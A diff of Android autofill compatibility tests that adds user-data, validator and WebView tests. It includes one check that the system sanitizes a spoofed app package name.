+            try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+                mDevice.dumpWindowHierarchy(os);
+                os.flush();
+                Log.w(TAG, "Window hierarchy:");
+                for (String line : os.toString("UTF-8").split("\n")) {
+                    Log.w(TAG, line);
+                    // Sleep a little bit to avoid logs being ignored due to spam
+                    SystemClock.sleep(100);
+                }
+            }
+        } catch (IOException e) {
+            // Just ignore it...
+            Log.e(TAG, "exception dumping window hierarchy", e);
+            return;
+        }
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
new file mode 100644
index 0000000..61bcdf2
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.UserData;
+import android.support.test.runner.AndroidJUnit4;
+
+import com.google.common.base.Strings;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class UserDataTest {
+
+    private final String mShortValue = Strings.repeat("k", UserData.getMinValueLength() - 1);
+    private final String mLongValue = "LONG VALUE, Y U NO SHORTER"
+            + Strings.repeat("?", UserData.getMaxValueLength());
+    private final String mRemoteId = "id1";
+    private final String mRemoteId2 = "id2";
+    private final String mValue = mShortValue + "-1";
+    private final String mValue2 = mShortValue + "-2";
+    private final UserData.Builder mBuilder = new UserData.Builder(mRemoteId, mValue);
+
+    @Test
+    public void testBuilder_invalid() {
+        assertThrows(NullPointerException.class,
+                () -> new UserData.Builder(mRemoteId, null));
+        assertThrows(IllegalArgumentException.class,
+                () -> new UserData.Builder(mRemoteId, ""));
+        assertThrows(IllegalArgumentException.class,
+                () -> new UserData.Builder(mRemoteId, mShortValue));
+        assertThrows(IllegalArgumentException.class,
+                () -> new UserData.Builder(mRemoteId, mLongValue));
+        assertThrows(NullPointerException.class,
+                () -> new UserData.Builder(null, mValue));
+        assertThrows(IllegalArgumentException.class,
+                () -> new UserData.Builder("", mValue));
+    }
+
+    @Test
+    public void testAdd_invalid() {
+        assertThrows(NullPointerException.class, () -> mBuilder.add(mRemoteId, null));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mRemoteId, ""));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mRemoteId, mShortValue));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mRemoteId, mLongValue));
+        assertThrows(NullPointerException.class, () -> mBuilder.add(null, mValue));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.add("", mValue));
+    }
+
+    @Test
+    public void testAdd_duplicatedId() {
+        assertThrows(IllegalStateException.class, () -> mBuilder.add(mRemoteId, mValue2));
+    }
+
+    @Test
+    public void testAdd_duplicatedValue() {
+        assertThrows(IllegalStateException.class, () -> mBuilder.add(mRemoteId2, mValue));
+    }
+
+    @Test
+    public void testAdd_maximumReached() {
+        // Must start from 1 because first is added on builder
+        for (int i = 1; i < UserData.getMaxFieldClassificationIdsSize() - 1; i++) {
+            mBuilder.add("ID" + i, mShortValue.toUpperCase() + i);
+        }
+        assertThrows(IllegalStateException.class, () -> mBuilder.add(mRemoteId, mValue));
+    }
+
+    @Test
+    public void testBuild_valid() {
+        assertThat(mBuilder.build()).isNotNull();
+    }
+
+    @Test
+    public void testNoMoreInteractionsAfterBuild() {
+        testBuild_valid();
+
+        assertThrows(IllegalStateException.class, () -> mBuilder.add(mRemoteId2, mValue));
+        assertThrows(IllegalStateException.class, () -> mBuilder.build());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
index 21ebac2..5214748 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
@@ -21,11 +21,14 @@
 import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
 
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+
+import android.service.autofill.InternalValidator;
 import android.service.autofill.LuhnChecksumValidator;
-import android.service.autofill.RegexValidator;
-import android.service.autofill.Validator;
-import android.service.autofill.Validators;
-import android.support.annotation.NonNull;
+import android.service.autofill.ValueFinder;
 import android.view.View;
 import android.view.autofill.AutofillId;
 
@@ -34,9 +37,9 @@
 import org.junit.Rule;
 import org.junit.Test;
 
-import java.util.function.BiFunction;
-import java.util.regex.Pattern;
-
+/**
+ * Simple integration test to verify that the UI is only shown if the validator passes.
+ */
 public class ValidatorTest extends AutoFillServiceTestCase {
     @Rule
     public final AutofillActivityTestRule<LoginActivity> mActivityRule =
@@ -54,24 +57,30 @@
         WelcomeActivity.finishIt();
     }
 
-    /**
-     * Base test
-     *
-     * @param validatorBuilder method to build a validator
-     * @param willSaveBeShown  Whether the save pop-up will be shown
-     */
-    private void testValidator(
-            @NonNull BiFunction<AutofillId, AutofillId, Validator> validatorBuilder,
-            boolean willSaveBeShown) throws Exception {
+    @Test
+    public void testShowUiWhenValidatorPass() throws Exception {
+        integrationTest(true);
+    }
+
+    @Test
+    public void testDontShowUiWhenValidatorFails() throws Exception {
+        integrationTest(false);
+    }
+
+    private void integrationTest(boolean willSaveBeShown) throws Exception {
         enableService();
 
-        AutofillId usernameId = mActivity.getUsername().getAutofillId();
-        AutofillId passwordId = mActivity.getPassword().getAutofillId();
+        final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+
+        final String username = willSaveBeShown ? "7992739871-3" : "4815162342-108";
+        final LuhnChecksumValidator validator = new LuhnChecksumValidator(usernameId);
+        // Sanity check to make sure the validator is properly configured
+        assertValidator(validator, usernameId, username, willSaveBeShown);
 
         // Set response
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
-                .setValidator(validatorBuilder.apply(usernameId, passwordId))
+                .setValidator(validator)
                 .build());
 
         // Trigger auto-fill
@@ -81,8 +90,8 @@
         sReplier.getNextFillRequest();
 
         // Trigger save.
-        mActivity.onUsername((v) -> v.setText("7992739871-3"));
-        mActivity.onPassword((v) -> v.setText("passwd"));
+        mActivity.onUsername((v) -> v.setText(username));
+        mActivity.onPassword((v) -> v.setText("pass"));
         mActivity.tapLogin();
 
         if (willSaveBeShown) {
@@ -95,45 +104,10 @@
         assertNoDanglingSessions();
     }
 
-    @Test
-    public void checkForInvalidField() throws Exception {
-        testValidator((usernameId, passwordId) -> Validators.or(
-                new LuhnChecksumValidator(new AutofillId(-1)),
-                new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
-    }
-
-    @Test
-    public void checkBoth() throws Exception {
-        testValidator((usernameId, passwordId) -> Validators.and(
-                new LuhnChecksumValidator(usernameId),
-                new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
-    }
-
-    @Test
-    public void checkEither1() throws Exception {
-        testValidator((usernameId, passwordId) -> Validators.or(
-                new RegexValidator(usernameId, Pattern.compile("7.*")),
-                new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
-    }
-
-    @Test
-    public void checkEither2() throws Exception {
-        testValidator((usernameId, passwordId) -> Validators.or(
-                new RegexValidator(usernameId, Pattern.compile("invalid")),
-                new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
-    }
-
-    @Test
-    public void checkBothButFail() throws Exception {
-        testValidator((usernameId, passwordId) -> Validators.and(
-                new RegexValidator(usernameId, Pattern.compile("7.*")),
-                new RegexValidator(passwordId, Pattern.compile("invalid"))), false);
-    }
-
-    @Test
-    public void checkEitherButFail() throws Exception {
-        testValidator((usernameId, passwordId) -> Validators.or(
-                new RegexValidator(usernameId, Pattern.compile("invalid")),
-                new RegexValidator(passwordId, Pattern.compile("invalid"))), false);
+    private void assertValidator(InternalValidator validator, AutofillId id, String text,
+            boolean valid) {
+        final ValueFinder valueFinder = mock(ValueFinder.class);
+        doReturn(text).when(valueFinder).findByAutofillId(id);
+        assertThat(validator.isValid(valueFinder)).isEqualTo(valid);
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java b/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java
new file mode 100644
index 0000000..6c7979d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.service.autofill.Validators.and;
+import static android.service.autofill.Validators.not;
+import static android.service.autofill.Validators.or;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.InternalValidator;
+import android.service.autofill.Validator;
+import android.service.autofill.ValueFinder;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+public class ValidatorsTest extends AutoFillServiceTestCase {
+
+    @Mock private Validator mInvalidValidator;
+    @Mock private ValueFinder mValueFinder;
+    @Mock private InternalValidator mValidValidator;
+    @Mock private InternalValidator mValidValidator2;
+
+    @Test
+    public void testAnd_null() {
+        assertThrows(NullPointerException.class, () -> and((Validator) null));
+        assertThrows(NullPointerException.class, () -> and(mValidValidator, null));
+        assertThrows(NullPointerException.class, () -> and(null, mValidValidator));
+    }
+
+    @Test
+    public void testAnd_invalid() {
+        assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator));
+        assertThrows(IllegalArgumentException.class, () -> and(mValidValidator, mInvalidValidator));
+        assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator, mValidValidator));
+    }
+
+    @Test
+    public void testAnd_firstFailed() {
+        doReturn(false).when(mValidValidator).isValid(mValueFinder);
+        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isFalse();
+        verify(mValidValidator2, never()).isValid(mValueFinder);
+    }
+
+    @Test
+    public void testAnd_firstPassedSecondFailed() {
+        doReturn(true).when(mValidValidator).isValid(mValueFinder);
+        doReturn(false).when(mValidValidator2).isValid(mValueFinder);
+        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isFalse();
+    }
+
+    @Test
+    public void testAnd_AllPassed() {
+        doReturn(true).when(mValidValidator).isValid(mValueFinder);
+        doReturn(true).when(mValidValidator2).isValid(mValueFinder);
+        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isTrue();
+    }
+
+    @Test
+    public void testOr_null() {
+        assertThrows(NullPointerException.class, () -> or((Validator) null));
+        assertThrows(NullPointerException.class, () -> or(mValidValidator, null));
+        assertThrows(NullPointerException.class, () -> or(null, mValidValidator));
+    }
+
+    @Test
+    public void testOr_invalid() {
+        assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator));
+        assertThrows(IllegalArgumentException.class, () -> or(mValidValidator, mInvalidValidator));
+        assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator, mValidValidator));
+    }
+
+    @Test
+    public void testOr_AllFailed() {
+        doReturn(false).when(mValidValidator).isValid(mValueFinder);
+        doReturn(false).when(mValidValidator2).isValid(mValueFinder);
+        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isFalse();
+    }
+
+    @Test
+    public void testOr_firstPassed() {
+        doReturn(true).when(mValidValidator).isValid(mValueFinder);
+        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isTrue();
+        verify(mValidValidator2, never()).isValid(mValueFinder);
+    }
+
+    @Test
+    public void testOr_secondPassed() {
+        doReturn(false).when(mValidValidator).isValid(mValueFinder);
+        doReturn(true).when(mValidValidator2).isValid(mValueFinder);
+        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isTrue();
+    }
+
+    @Test
+    public void testNot_null() {
+        assertThrows(IllegalArgumentException.class, () -> not(null));
+    }
+
+    @Test
+    public void testNot_invalidClass() {
+        assertThrows(IllegalArgumentException.class, () -> not(mInvalidValidator));
+    }
+
+    @Test
+    public void testNot_falseToTrue() {
+        doReturn(false).when(mValidValidator).isValid(mValueFinder);
+        final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
+        assertThat(notValidator.isValid(mValueFinder)).isTrue();
+    }
+
+    @Test
+    public void testNot_trueToFalse() {
+        doReturn(true).when(mValidValidator).isValid(mValueFinder);
+        final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
+        assertThat(notValidator.isValid(mValueFinder)).isFalse();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
index 8adbdd7..f5401af 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
@@ -35,6 +35,7 @@
 import android.autofillservice.cts.CannedFillResponse.CannedDataset;
 import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
 import android.autofillservice.cts.VirtualContainerView.Line;
+import android.content.ComponentName;
 import android.graphics.Rect;
 import android.os.SystemClock;
 import android.service.autofill.SaveInfo;
@@ -381,7 +382,7 @@
         // Set expectations.
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .setFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
+                .setSaveInfoFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
                 .build());
 
         final CountDownLatch latch = new CountDownLatch(1);
@@ -411,6 +412,30 @@
         sUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
     }
 
+    @Test
+    public void testAppCannotFakePackageName() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.acceptRequestsFromPackage("MALICIOUS");
+        mActivity.mCustomView.fakePackageName(new ComponentName("MALICIOUS", "AM.I"));
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.mUsername.changeFocus(true);
+        assertDatasetShown(mActivity.mUsername, "The Dude");
+
+        // Make sure package name was sanitized.
+        final FillRequest request = sReplier.getNextFillRequest();
+        assertThat(request.structure.getActivityComponent().getPackageName())
+                .isEqualTo(mPackageName);
+    }
+
     /**
      * Asserts the dataset picker is properly displayed in a give line.
      */
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
index 205fcae..d8b1c47 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
@@ -20,7 +20,9 @@
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.app.assist.AssistStructure;
 import android.app.assist.AssistStructure.ViewNode;
+import android.content.ComponentName;
 import android.content.Context;
 import android.graphics.Canvas;
 import android.graphics.Color;
@@ -72,6 +74,7 @@
     private int mUnfocusedColor;
     private boolean mSync = true;
     private boolean mOverrideDispatchProvideAutofillStructure = false;
+    private ComponentName mFackedComponentName;
 
     public VirtualContainerView(Context context, AttributeSet attrs) {
         super(context, attrs);
@@ -192,6 +195,18 @@
         Log.d(TAG, "onProvideAutofillVirtualStructure(): flags = " + flags);
         super.onProvideAutofillVirtualStructure(structure, flags);
 
+        if (mFackedComponentName != null) {
+            Log.d(TAG, "Faking package name to " + mFackedComponentName);
+            try {
+                final AssistStructure assistStructure = Helper.getField(structure, "mAssist");
+                if (assistStructure != null) {
+                    Helper.setField(assistStructure, "mActivityComponent", mFackedComponentName);
+                }
+            } catch (Exception e) {
+                Log.e(TAG, "Could not fake package name to " + mFackedComponentName, e);
+            }
+        }
+
         final String packageName = getContext().getPackageName();
         structure.setClassName(getClass().getName());
         final int childrenSize = mItems.size();
@@ -254,6 +269,11 @@
         mSync = sync;
     }
 
+    void fakePackageName(ComponentName name) {
+        mFackedComponentName = name;
+    }
+
+
     void setOverrideDispatchProvideAutofillStructure(boolean flag) {
         mOverrideDispatchProvideAutofillStructure = flag;
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
index 9bc3df0..331c3d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
@@ -18,11 +18,13 @@
 import android.os.Bundle;
 import android.support.test.uiautomator.UiObject2;
 import android.util.Log;
+import android.view.View;
 import android.webkit.WebResourceRequest;
 import android.webkit.WebResourceResponse;
 import android.webkit.WebView;
 import android.webkit.WebViewClient;
 import android.widget.EditText;
+import android.widget.LinearLayout;
 
 import java.io.IOException;
 
@@ -33,7 +35,21 @@
     private static final String FAKE_URL = "https://" + FAKE_DOMAIN + ":666/login.html";
     static final String ID_WEBVIEW = "webview";
 
-    WebView mWebView;
+    static final String HTML_NAME_USERNAME = "username";
+    static final String HTML_NAME_PASSWORD = "password";
+
+    static final String ID_OUTSIDE1 = "outside1";
+    static final String ID_OUTSIDE2 = "outside2";
+
+    // TODO(b/69557967): WebView currently does not report the nodes content description properties.
+    private static final boolean CONTENT_DESCRIPTION_SUPPORTED = false;
+
+    private MyWebView mWebView;
+
+    private LinearLayout mOutsideContainer1;
+    private LinearLayout mOutsideContainer2;
+    EditText mOutside1;
+    EditText mOutside2;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -64,7 +80,23 @@
                 }
             }
         });
-        mWebView.loadUrl(FAKE_URL);
+
+        mOutsideContainer1 = findViewById(R.id.outsideContainer1);
+        mOutsideContainer2 = findViewById(R.id.outsideContainer2);
+        mOutside1 = findViewById(R.id.outside1);
+        mOutside2 = findViewById(R.id.outside2);
+    }
+
+    public MyWebView loadWebView() {
+        syncRunOnUiThread(() -> mWebView.loadUrl(FAKE_URL));
+        return mWebView;
+    }
+
+    public void loadOutsideViews() {
+        syncRunOnUiThread(() -> {
+            mOutsideContainer1.setVisibility(View.VISIBLE);
+            mOutsideContainer2.setVisibility(View.VISIBLE);
+        });
     }
 
     public UiObject2 getUsernameLabel(UiBot uiBot) {
@@ -75,7 +107,6 @@
         return getLabel(uiBot, "Password: ");
     }
 
-
     public UiObject2 getUsernameInput(UiBot uiBot) {
         return getInput(uiBot, "Username: ");
     }
@@ -85,12 +116,14 @@
     }
 
     public UiObject2 getLoginButton(UiBot uiBot) {
-        return uiBot.assertShownByContentDescription("Login");
+        return getLabel(uiBot, "Login");
     }
 
     private UiObject2 getLabel(UiBot uiBot, String contentDescription) {
-        final UiObject2 label = uiBot.assertShownByContentDescription(contentDescription);
-        return label;
+        if (!CONTENT_DESCRIPTION_SUPPORTED) {
+            return uiBot.assertShownByText(contentDescription);
+        }
+        return uiBot.assertShownByContentDescription(contentDescription);
     }
 
     private UiObject2 getInput(UiBot uiBot, String contentDescription) {
@@ -105,10 +138,12 @@
                 if (child.getClassName().equals(EditText.class.getName())) {
                     return child;
                 }
+                uiBot.dumpScreen();
                 throw new IllegalStateException("Invalid class for " + child);
             }
             previous = child;
         }
+        uiBot.dumpScreen();
         throw new IllegalStateException("could not find username (label=" + label + ")");
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
index 7eb73d2..7375fd9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -16,6 +16,10 @@
 package android.autofillservice.cts;
 
 import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.autofillservice.cts.WebViewActivity.HTML_NAME_PASSWORD;
+import static android.autofillservice.cts.WebViewActivity.HTML_NAME_USERNAME;
+import static android.autofillservice.cts.WebViewActivity.ID_OUTSIDE1;
+import static android.autofillservice.cts.WebViewActivity.ID_OUTSIDE2;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -65,6 +69,9 @@
         // Set service.
         enableService();
 
+        // Load WebView
+        mActivity.loadWebView();
+
         // Set expectations.
         sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
 
@@ -81,11 +88,15 @@
         // Set service.
         enableService();
 
+        // Load WebView
+        final MyWebView myWebView = mActivity.loadWebView();
+
         // Set expectations.
+        myWebView.expectAutofill("dude", "sweet");
         final MyAutofillCallback callback = mActivity.registerCallback();
         sReplier.addResponse(new CannedDataset.Builder()
-                .setField("username", "dude")
-                .setField("password", "sweet")
+                .setField(HTML_NAME_USERNAME, "dude")
+                .setField(HTML_NAME_PASSWORD, "sweet")
                 .setPresentation(createPresentation("The Dude"))
                 .build());
 
@@ -95,18 +106,19 @@
         sUiBot.assertDatasets("The Dude");
 
         // Change focus around.
-        final int usernameChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
         mActivity.getUsernameLabel(sUiBot).click();
-        callback.assertUiHiddenEvent(mActivity.mWebView, usernameChildId);
+        callback.assertUiHiddenEvent(myWebView, usernameChildId);
         sUiBot.assertNoDatasets();
         mActivity.getPasswordInput(sUiBot).click();
-        final int passwordChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
         final UiObject2 datasetPicker = sUiBot.assertDatasets("The Dude");
 
         // Now Autofill it.
         sUiBot.selectDataset(datasetPicker, "The Dude");
+        myWebView.assertAutofilled();
         sUiBot.assertNoDatasets();
-        callback.assertUiHiddenEvent(mActivity.mWebView, passwordChildId);
+        callback.assertUiHiddenEvent(myWebView, passwordChildId);
 
         // Make sure screen was autofilled.
         assertThat(mActivity.getUsernameInput(sUiBot).getText()).isEqualTo("dude");
@@ -118,20 +130,14 @@
 
         // Assert structure passed to service.
         try {
-            final ViewNode webViewNode = Helper.findWebViewNode(fillRequest.structure, "FORM AM I");
-            // TODO(b/66953802): class name should be android.webkit.WebView, and form name should
-            // be inside HtmlInfo, but Chromium 61 does not implement that.
-            if (webViewNode.getClassName().equals("android.webkit.WebView")) {
-                final HtmlInfo htmlInfo = Helper.assertHasHtmlTag(webViewNode, "form");
-                Helper.assertHasAttribute(htmlInfo, "name", "FORM AM I");
-            } else {
-                assertThat(webViewNode.getClassName()).isEqualTo("FORM AM I");
-                assertThat(webViewNode.getHtmlInfo()).isNull();
-            }
+            final ViewNode webViewNode =
+                    Helper.findWebViewNodeByFormName(fillRequest.structure, "FORM AM I");
+            assertThat(webViewNode.getClassName()).isEqualTo("android.webkit.WebView");
             assertThat(webViewNode.getWebDomain()).isEqualTo(WebViewActivity.FAKE_DOMAIN);
+            assertThat(webViewNode.getWebScheme()).isEqualTo("https");
 
             final ViewNode usernameNode =
-                    Helper.findNodeByHtmlName(fillRequest.structure, "username");
+                    Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_USERNAME);
             Helper.assertTextIsSanitized(usernameNode);
             final HtmlInfo usernameHtmlInfo = Helper.assertHasHtmlTag(usernameNode, "input");
             Helper.assertHasAttribute(usernameHtmlInfo, "type", "text");
@@ -141,7 +147,7 @@
             assertThat(usernameNode.getHint()).isEqualTo("There's no place like a holder");
 
             final ViewNode passwordNode =
-                    Helper.findNodeByHtmlName(fillRequest.structure, "password");
+                    Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_PASSWORD);
             Helper.assertTextIsSanitized(passwordNode);
             final HtmlInfo passwordHtmlInfo = Helper.assertHasHtmlTag(passwordNode, "input");
             Helper.assertHasAttribute(passwordHtmlInfo, "type", "password");
@@ -161,9 +167,13 @@
         // Set service.
         enableService();
 
+        // Load WebView
+        mActivity.loadWebView();
+
         // Set expectations.
         sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, "username", "password")
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
                 .build());
 
         // Trigger autofill.
@@ -190,8 +200,10 @@
 
         // Assert results
         final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode usernameNode = Helper.findNodeByHtmlName(saveRequest.structure, "username");
-        final ViewNode passwordNode = Helper.findNodeByHtmlName(saveRequest.structure, "password");
+        final ViewNode usernameNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_USERNAME);
+        final ViewNode passwordNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_PASSWORD);
         if (INJECT_EVENTS) {
             Helper.assertTextAndValue(usernameNode, "u");
             Helper.assertTextAndValue(passwordNode, "p");
@@ -206,13 +218,18 @@
         // Set service.
         enableService();
 
+        // Load WebView
+        final MyWebView myWebView = mActivity.loadWebView();
+
         // Set expectations.
         final MyAutofillCallback callback = mActivity.registerCallback();
+        myWebView.expectAutofill("dude", "sweet");
         sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, "username", "password")
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
                 .addDataset(new CannedDataset.Builder()
-                        .setField("username", "dude")
-                        .setField("password", "sweet")
+                        .setField(HTML_NAME_USERNAME, "dude")
+                        .setField(HTML_NAME_PASSWORD, "sweet")
                         .setPresentation(createPresentation("The Dude"))
                         .build())
                 .build());
@@ -221,21 +238,24 @@
         mActivity.getUsernameInput(sUiBot).click();
         final FillRequest fillRequest = sReplier.getNextFillRequest();
         sUiBot.assertDatasets("The Dude");
-        final int usernameChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
 
         // Assert structure passed to service.
-        final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure, "username");
+        final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_USERNAME);
         Helper.assertTextIsSanitized(usernameNode);
         assertThat(usernameNode.isFocused()).isTrue();
         assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
-        final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure, "password");
+        final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_PASSWORD);
         Helper.assertTextIsSanitized(passwordNode);
         assertThat(passwordNode.getAutofillHints()).asList().containsExactly("current-password");
         assertThat(passwordNode.isFocused()).isFalse();
 
         // Autofill it.
         sUiBot.selectDataset("The Dude");
-        callback.assertUiHiddenEvent(mActivity.mWebView, usernameChildId);
+        myWebView.assertAutofilled();
+        callback.assertUiHiddenEvent(myWebView, usernameChildId);
 
         // Make sure screen was autofilled.
         assertThat(mActivity.getUsernameInput(sUiBot).getText()).isEqualTo("dude");
@@ -262,8 +282,10 @@
 
         // Assert results
         final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure, "username");
-        final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure, "password");
+        final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_USERNAME);
+        final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_PASSWORD);
         if (INJECT_EVENTS) {
             Helper.assertTextAndValue(usernameNode2, "dudeu");
             Helper.assertTextAndValue(passwordNode2, "sweetp");
@@ -272,4 +294,285 @@
             Helper.assertTextAndValue(passwordNode2, "SWEET");
         }
     }
+
+    @Test
+    public void testAutofillAndSave_withExternalViews_loadWebViewFirst() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load views
+        final MyWebView myWebView = mActivity.loadWebView();
+        mActivity.loadOutsideViews();
+
+        // Set expectations.
+        myWebView.expectAutofill("dude", "sweet");
